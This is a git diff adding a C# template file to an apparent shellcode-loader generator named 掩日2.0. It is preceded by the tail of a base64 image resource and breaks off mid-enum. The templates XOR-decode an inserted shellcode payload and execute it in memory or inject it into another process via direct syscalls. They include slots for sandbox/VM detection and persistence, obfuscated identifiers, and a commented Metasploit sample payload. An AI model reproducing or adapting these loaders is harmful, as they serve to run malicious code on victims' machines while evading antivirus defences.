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 + + + + 17, 17 + + \ No newline at end of file diff --git "a/\346\216\251\346\227\2452.0/CS_Template.cs" "b/\346\216\251\346\227\2452.0/CS_Template.cs" new file mode 100644 index 0000000..c196fd0 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/CS_Template.cs" @@ -0,0 +1,2441 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace 掩日2._0 +{ + class CS_Template + { + //GetProcAddress 执行 + public static string getprocaddress = @"using System; +using System.Collections.Generic; +using System.Deployment.Internal; +using System.Runtime.InteropServices; +using System.Text; +using System.Linq; + +namespace CS_GetProcAddress +{ + class Program + { + internal static class UnsafeNativeMethods + { + [DllImport(""Kernel32"")] + internal static extern IntPtr GetProcAddress(IntPtr hModule, string procname); + [DllImport(""Kernel32"")] + internal static extern IntPtr LoadLibraryA(string moduleName); + } + + internal delegate UInt32 VirtualAllocInvoker( + UInt32 lpStartAddr, + UInt32 size, + UInt32 flAllocationType, + UInt32 flProtect); + + internal delegate IntPtr CreateThreadInvoker( + UInt32 lpThreadAttributes, + UInt32 dwStackSize, + UInt32 lpStartAddress, + IntPtr param, + UInt32 dwCreationFlags, + ref UInt32 lpThreadId); + + internal delegate UInt32 WaitForSingleObjectInvoker( + IntPtr hHandle, + UInt32 dwMilliseconds + ); + + public static byte string_to_int(string str) + { + string temp = str.Substring(str.Length - 2, 2); + int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber); + return BitConverter.GetBytes(hex)[0]; + } + + public static byte[] XOR_C(string raw) + { + string[] shellcode_array = raw.Split(','); + byte[] result = new byte[shellcode_array.Length]; + int j = 234; + int add = 12; + for (int i = 0; i < shellcode_array.Length; i++) + { + string temp = string.Format(""{0:x2}"", string_to_int(shellcode_array[i]) ^ 123 ^ j); + temp = ""0x"" + temp.Substring(temp.Length - 2, 2); + result[i] = string_to_int(temp); + j += add; + } + return result; + } + + static void Main(string[] args) + { + //{{sanbox_vm_detect}} + //{{persistence}} + + string xxxx = ""{{shellcode}}""; + + byte[] xxxxx = XOR_C(xxxx); + + + IntPtr fptrva = UnsafeNativeMethods.GetProcAddress(UnsafeNativeMethods.LoadLibraryA(""Kernel32""), ""VirtualAlloc""); + VirtualAllocInvoker va = + (VirtualAllocInvoker)Marshal.GetDelegateForFunctionPointer(fptrva, typeof(VirtualAllocInvoker)); + + IntPtr fptrct = UnsafeNativeMethods.GetProcAddress(UnsafeNativeMethods.LoadLibraryA(""Kernel32""), ""CreateThread""); + + IntPtr fptrwf = UnsafeNativeMethods.GetProcAddress(UnsafeNativeMethods.LoadLibraryA(""Kernel32""), ""WaitForSingleObject""); + + CreateThreadInvoker ct = (CreateThreadInvoker)Marshal.GetDelegateForFunctionPointer(fptrct, typeof(CreateThreadInvoker)); + + WaitForSingleObjectInvoker wf = (WaitForSingleObjectInvoker)Marshal.GetDelegateForFunctionPointer(fptrwf, typeof(WaitForSingleObjectInvoker)); + + UInt32 a = va(0, (UInt32)xxxxx.Length, 0x1000, 0x40); + Marshal.Copy(xxxxx, 0, (IntPtr)(a), xxxxx.Length); + + IntPtr hThread = IntPtr.Zero; + + UInt32 threadId = 0; + + IntPtr pinfo = IntPtr.Zero; + + hThread = ct(0, 0, a, pinfo, 0, ref threadId); + + wf(hThread, 0xFFFFFFFF); + } + } +}"; + + //VirtualProtect 执行 + public static string virtualprotect = @"using System; +using System.Collections.Generic; +using System.Deployment.Internal; +using System.Runtime.InteropServices; +using System.Text; +using System.Linq; + +namespace CS_GetProcAddress +{ + class Program + { + [DllImport(""kernel32.dll"")] + private static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect); + + private delegate UInt32 xxxxxMethod(UInt32 x, UInt32 y); + + private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; + + public static byte string_to_int(string str) + { + string temp = str.Substring(str.Length - 2, 2); + int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber); + return BitConverter.GetBytes(hex)[0]; + } + + public static byte[] XOR_C(string raw) + { + string[] xxxxx_array = raw.Split(','); + byte[] result = new byte[xxxxx_array.Length]; + //string[] temp = new string[xxxxx_array.Length]; + int j = 234; + int add = 12; + for (int i = 0; i < xxxxx_array.Length; i++) + { + string temp = string.Format(""{0:x2}"", string_to_int(xxxxx_array[i]) ^ 123 ^ j); + temp = ""0x"" + temp.Substring(temp.Length - 2, 2); + result[i] = string_to_int(temp); + j += add; + } + return result; + } + + static void Main(string[] args) + { + //{{sanbox_vm_detect}} + //{{persistence}} + + string xxxx = ""{{shellcode}}""; + + byte[] xxxxx = XOR_C(xxxx); + + + IntPtr xxxxxPtr = IntPtr.Zero; + + xxxxxPtr = Marshal.AllocCoTaskMem(xxxxx.Length); + + Marshal.Copy(xxxxx, 0, xxxxxPtr, xxxxx.Length); + + UInt32 old; + + VirtualProtect(xxxxxPtr, (UInt32)xxxxx.Length, (UInt32)PAGE_EXECUTE_READWRITE, out old); + + xxxxxMethod scm = (xxxxxMethod)Marshal.GetDelegateForFunctionPointer(xxxxxPtr, typeof(xxxxxMethod)); + + scm(4, 9); + } + } +}"; + + //syscall 注入现有进程 + public static string syscall_exist = @"using System; +using System.Runtime.InteropServices; +using System.Security; +using System.ComponentModel; +using System.Diagnostics; +using System.Collections; +using System.Collections.Generic; +using System.Deployment.Internal; +using System.Linq; +using System.Text; + +namespace CS_SysCall +{ + class Program + { + public const int ALLOCWRITE = 1; + public const int OPENSEC = 2; + + public static byte string_to_int(string str) + { + string temp = str.Substring(str.Length - 2, 2); + int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber); + return BitConverter.GetBytes(hex)[0]; + } + + public static byte[] XOR_C(string raw) + { + string[] xxxxx_array = raw.Split(','); + byte[] result = new byte[xxxxx_array.Length]; + int j = 234; + int add = 12; + for (int i = 0; i < xxxxx_array.Length; i++) + { + string temp = string.Format(""{0:x2}"", string_to_int(xxxxx_array[i]) ^ 123 ^ j); + temp = ""0x"" + temp.Substring(temp.Length - 2, 2); + result[i] = string_to_int(temp); + j += add; + } + return result; + } + + static unsafe void Main(string[] args) + { + //{{sanbox_vm_detect}} + //{{persistence}} + string osV = getOsVers(); + + string xxxx = ""{{shellcode}}""; + + byte[] xxxxx = XOR_C(xxxx); + + yr_var_foobar_2_ccx(osV, OPENSEC, {{pid}}, xxxxx); + } + + public static string getOsVers() + { + nativeStructs.OSVERSIONINFOEXW osInfo = new nativeStructs.OSVERSIONINFOEXW(); + osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo); + nativeStructs.RtlGetVersion(ref osInfo); + string osV = """"; + + switch (osInfo.dwMajorVersion) + { + case 10: + switch (osInfo.dwBuildNumber) + { + case 10240: + osV = ""win10-1507""; + break; + case 10586: + osV = ""win10-1511""; + break; + case 14393: + osV = ""win10-1607""; + break; + case 15063: + osV = ""win10-1703""; + break; + case 16299: + osV = ""win10-1709""; + break; + case 17134: + osV = ""win10-1803""; + break; + case 17763: + osV = ""win10-1809""; + break; + case 18362: + osV = ""win10-1903-9""; + break; + } + break; + case 6: + switch (osInfo.dwMinorVersion) + { + case 1: + osV = ""w7-08""; + break; + case 2: + osV = ""win8-12""; + break; + case 3: + osV = ""win8.1-12r2""; + break; + } + break; + default: + osV = """"; + break; + } + return osV; + } + + public static unsafe int yr_var_foobar_2_ccx(string os, int method, int pid, byte[] yr_var_foobar_1_ccx) + { + + //Process targetProcess = Process.GetProcessesByName(processName)[0]; + + //int id = targetProcess.Id; + int id = pid; + //Console.WriteLine(""Injecting yr_var_foobar_1_ccx on pid "" + id); + + //msf messagebox x64 + //string s = @""/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQMBAABIMclBukWDVgf/1UgxyUG68LWiVv/VZ2F0bwBNZXNzYWdlQm94AA==""; + //byte[] yr_var_foobar_1_ccx = Convert.FromBase64String(s); + + + + nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID(); + clientid.UniqueProcess = new IntPtr(id); + clientid.UniqueThread = IntPtr.Zero; + + IntPtr bufferReal = IntPtr.Zero; + IntPtr procHandle = IntPtr.Zero; + syscalls.ZwOpenProcess(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os); + IntPtr remoteAddr = new IntPtr(); + + switch (method) + { + case ALLOCWRITE: + //Console.WriteLine(""[+] Using ALLOCWRITE method to allocate our yr_var_foobar_1_ccx in the remote process""); + UIntPtr sz = new UIntPtr(Convert.ToUInt32(yr_var_foobar_1_ccx.Length)); + + syscalls.NtAllocateVirtualMemory(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os); + + IntPtr written = IntPtr.Zero; + IntPtr unmanagedPointer = Marshal.AllocHGlobal(yr_var_foobar_1_ccx.Length); + Marshal.Copy(yr_var_foobar_1_ccx, 0, unmanagedPointer, yr_var_foobar_1_ccx.Length); + syscalls.ZwWriteVirtualMemory(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(yr_var_foobar_1_ccx.Length), ref written, os); + + break; + case OPENSEC: + //Console.WriteLine(""[+] Using OPENSEC method to allocate our yr_var_foobar_1_ccx in the remote process""); + //create required structs/variables + IntPtr localAddr = new IntPtr(null); + Process thisProc = Process.GetCurrentProcess(); + nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER(); + uint size_ = getLowPart((uint)yr_var_foobar_1_ccx.Length); + liVal.LowPart = size_; + + //create local section + IntPtr section_ = new IntPtr(); + IntPtr viewSize = (IntPtr)(yr_var_foobar_1_ccx.Length); + long status = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os); + + //map local section + status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os); + + //map remote section + status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os); + + //copy yr_var_foobar_1_ccx to local section + Marshal.Copy(yr_var_foobar_1_ccx, 0, localAddr, yr_var_foobar_1_ccx.Length); + + break; + } + + + + //bool is64bit = Environment.Is64BitProcess; + int temp1 = 0, temp2 = 0; + nativeStructs.NtCreateThreadExBuffer nb = new nativeStructs.NtCreateThreadExBuffer + { + Size = sizeof(nativeStructs.NtCreateThreadExBuffer), + Unknown1 = 0x10003, + Unknown2 = 0x8, + Unknown3 = new IntPtr(&temp2), + Unknown4 = 0, + Unknown5 = 0x10004, + Unknown6 = 4, + Unknown7 = new IntPtr(&temp1), + Unknown8 = 0, + }; + IntPtr hRemoteThread; + //syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os); + //if OPENSEC then a thread is created in a remote process with the remote section addr as starting point. + //if ALLOCWRITE then a thread is created poiting to a memory address with our yr_var_foobar_1_ccx + syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os); + + return 0; + } + + public static uint getLowPart(uint size) + { + nativeStructs.SYSTEM_INFO info = new nativeStructs.SYSTEM_INFO(); + nativeStructs.GetSystemInfo(ref info); + return (info.dwPageSize - size % info.dwPageSize) + size; + } + } + class nativeStructs + { + + public const uint MEM_COMMIT = 0x00001000; + public const uint MEM_RESERVE = 0x00002000; + public const uint PAGE_EXECUTE_READWRITE = 0x40; + + public const int FILE_READ_DATA = 0x0001; // file & pipe + public const int FILE_LIST_DIRECTORY = 0x0001; // directory + public const int FILE_WRITE_DATA = 0x0002; // file & pipe + public const int FILE_ADD_FILE = 0x0002; // directory + public const int FILE_APPEND_DATA = 0x0004; // file + public const int FILE_ADD_SUBDIRECTORY = 0x0004; // directory + public const int FILE_CREATE_PIPE_INSTANCE = 0x0004; // named pipe + public const int FILE_READ_EA = 0x0008; // file & directory + public const int FILE_WRITE_EA = 0x0010; // file & directory + public const int FILE_EXECUTE = 0x0020; // file + public const int FILE_TRAVERSE = 0x0020; // directory + public const int FILE_DELETE_CHILD = 0x0040; // directory + public const int FILE_READ_ATTRIBUTES = 0x0080; // all + public const int FILE_WRITE_ATTRIBUTES = 0x0100; // all + public const int FILE_OVERWRITE_IF = 0x00000005; + public const int FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020; + + public const long READ_CONTROL = 0x00020000; + public const long SYNCHRONIZE = 0x00100000; + public const long STANDARD_RIGHTS_WRITE = READ_CONTROL; + public const long STANDARD_RIGHTS_EXECUTE = READ_CONTROL; + public const long STANDARD_RIGHTS_ALL = 0x001F0000; + + public const long SPECIFIC_RIGHTS_ALL = 0x0000FFFF; + public const long FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF; + + public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; + public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; + public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; + public const UInt32 TOKEN_DUPLICATE = 0x0002; + public const UInt32 TOKEN_IMPERSONATE = 0x0004; + public const UInt32 TOKEN_QUERY = 0x0008; + public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; + public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; + public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; + public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; + public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; + public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); + public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | + TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID); + public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); + + public const UInt32 SE_PRIVILEGE_ENABLED = 0x2; + + public const long FILE_GENERIC_READ = STANDARD_RIGHTS_READ | + FILE_READ_DATA | + FILE_READ_ATTRIBUTES | + FILE_READ_EA | + SYNCHRONIZE; + + public const long FILE_GENERIC_WRITE = STANDARD_RIGHTS_WRITE | + FILE_WRITE_DATA | + FILE_WRITE_ATTRIBUTES | + FILE_WRITE_EA | + FILE_APPEND_DATA | + SYNCHRONIZE; + + public const long FILE_GENERIC_EXECUTE = STANDARD_RIGHTS_EXECUTE | + FILE_READ_ATTRIBUTES | + FILE_EXECUTE | + SYNCHRONIZE; + + public const int FILE_SHARE_READ = 0x00000001; + public const int FILE_SHARE_WRITE = 0x00000002; + public const int FILE_SHARE_DELETE = 0x00000004; + public const int FILE_ATTRIBUTE_READONLY = 0x00000001; + public const int FILE_ATTRIBUTE_HIDDEN = 0x00000002; + public const int FILE_ATTRIBUTE_SYSTEM = 0x00000004; + public const int FILE_ATTRIBUTE_DIRECTORY = 0x00000010; + public const int FILE_ATTRIBUTE_ARCHIVE = 0x00000020; + public const int FILE_ATTRIBUTE_DEVICE = 0x00000040; + public const int FILE_ATTRIBUTE_NORMAL = 0x00000080; + public const int FILE_ATTRIBUTE_TEMPORARY = 0x00000100; + public const int FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200; + public const int FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400; + public const int FILE_ATTRIBUTE_COMPRESSED = 0x00000800; + public const int FILE_ATTRIBUTE_OFFLINE = 0x00001000; + public const int FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000; + public const int FILE_ATTRIBUTE_ENCRYPTED = 0x00004000; + public const int FILE_NOTIFY_CHANGE_FILE_NAME = 0x00000001; + public const int FILE_NOTIFY_CHANGE_DIR_NAME = 0x00000002; + public const int FILE_NOTIFY_CHANGE_ATTRIBUTES = 0x00000004; + public const int FILE_NOTIFY_CHANGE_SIZE = 0x00000008; + public const int FILE_NOTIFY_CHANGE_LAST_WRITE = 0x00000010; + public const int FILE_NOTIFY_CHANGE_LAST_ACCESS = 0x00000020; + public const int FILE_NOTIFY_CHANGE_CREATION = 0x00000040; + public const int FILE_NOTIFY_CHANGE_SECURITY = 0x00000100; + public const int FILE_ACTION_ADDED = 0x00000001; + public const int FILE_ACTION_REMOVED = 0x00000002; + public const int FILE_ACTION_MODIFIED = 0x00000003; + public const int FILE_ACTION_RENAMED_OLD_NAME = 0x00000004; + public const int FILE_ACTION_RENAMED_NEW_NAME = 0x00000005; + public const int MAILSLOT_NO_MESSAGE = -1; + public const int MAILSLOT_WAIT_FOREVER = -1; + public const int FILE_CASE_SENSITIVE_SEARCH = 0x00000001; + public const int FILE_CASE_PRESERVED_NAMES = 0x00000002; + public const int FILE_UNICODE_ON_DISK = 0x00000004; + public const int FILE_PERSISTENT_ACLS = 0x00000008; + public const int FILE_FILE_COMPRESSION = 0x00000010; + public const int FILE_VOLUME_QUOTAS = 0x00000020; + public const int FILE_SUPPORTS_SPARSE_FILES = 0x00000040; + public const int FILE_SUPPORTS_REPARSE_POINTS = 0x00000080; + public const int FILE_SUPPORTS_REMOTE_STORAGE = 0x00000100; + public const int FILE_VOLUME_IS_COMPRESSED = 0x00008000; + public const int FILE_SUPPORTS_OBJECT_IDS = 0x00010000; + public const int FILE_SUPPORTS_ENCRYPTION = 0x00020000; + public const int FILE_NAMED_STREAMS = 0x00040000; + public const int FILE_READ_ONLY_VOLUME = 0x00080000; + public const int CREATE_ALWAYS = 2; + + [StructLayout(LayoutKind.Sequential, Pack = 4)] + public struct NtCreateThreadExBuffer + { + public int Size; + public uint Unknown1; + public uint Unknown2; + public IntPtr Unknown3; + public uint Unknown4; + public uint Unknown5; + public uint Unknown6; + public IntPtr Unknown7; + public uint Unknown8; + }; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct OSVERSIONINFOEXW + { + public int dwOSVersionInfoSize; + public int dwMajorVersion; + public int dwMinorVersion; + public int dwBuildNumber; + public int dwPlatformId; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string szCSDVersion; + public UInt16 wServicePackMajor; + public UInt16 wServicePackMinor; + public UInt16 wSuiteMask; + public byte wProductType; + public byte wReserved; + } + + + + [StructLayout(LayoutKind.Sequential)] + public struct LARGE_INTEGER + { + public UInt32 LowPart; + public UInt32 HighPart; + } + + + [StructLayout(LayoutKind.Sequential)] + public struct SYSTEM_INFO + { + public uint dwOem; + public uint dwPageSize; + public IntPtr lpMinAppAddress; + public IntPtr lpMaxAppAddress; + public IntPtr dwActiveProcMask; + public uint dwNumProcs; + public uint dwProcType; + public uint dwAllocGranularity; + public ushort wProcLevel; + public ushort wProcRevision; + } + + + [Flags] + public enum ProcessAccessFlags : uint + { + All = 0x001F0FFF, + Terminate = 0x00000001, + CreateThread = 0x00000002, + VirtualMemoryOperation = 0x00000008, + VirtualMemoryRead = 0x00000010, + VirtualMemoryWrite = 0x00000020, + DuplicateHandle = 0x00000040, + CreateProcess = 0x000000080, + SetQuota = 0x00000100, + SetInformation = 0x00000200, + QueryInformation = 0x00000400, + QueryLimitedInformation = 0x00001000, + Synchronize = 0x00100000 + } + + public struct CLIENT_ID + { + public IntPtr UniqueProcess; + public IntPtr UniqueThread; + } + + [StructLayout(LayoutKind.Sequential)] + public struct OBJECT_ATTRIBUTES + { + public ulong Length; + public IntPtr RootDirectory; + public IntPtr ObjectName; + public ulong Attributes; + public IntPtr SecurityDescriptor; + public IntPtr SecurityQualityOfService; + } + + public enum NTSTATUS : uint + { + // Success + Success = 0x00000000, + Wait0 = 0x00000000, + Wait1 = 0x00000001, + Wait2 = 0x00000002, + Wait3 = 0x00000003, + Wait63 = 0x0000003f, + Abandoned = 0x00000080, + AbandonedWait0 = 0x00000080, + AbandonedWait1 = 0x00000081, + AbandonedWait2 = 0x00000082, + AbandonedWait3 = 0x00000083, + AbandonedWait63 = 0x000000bf, + UserApc = 0x000000c0, + KernelApc = 0x00000100, + Alerted = 0x00000101, + Timeout = 0x00000102, + Pending = 0x00000103, + Reparse = 0x00000104, + MoreEntries = 0x00000105, + NotAllAssigned = 0x00000106, + SomeNotMapped = 0x00000107, + OpLockBreakInProgress = 0x00000108, + VolumeMounted = 0x00000109, + RxActCommitted = 0x0000010a, + NotifyCleanup = 0x0000010b, + NotifyEnumDir = 0x0000010c, + NoQuotasForAccount = 0x0000010d, + PrimaryTransportConnectFailed = 0x0000010e, + PageFaultTransition = 0x00000110, + PageFaultDemandZero = 0x00000111, + PageFaultCopyOnWrite = 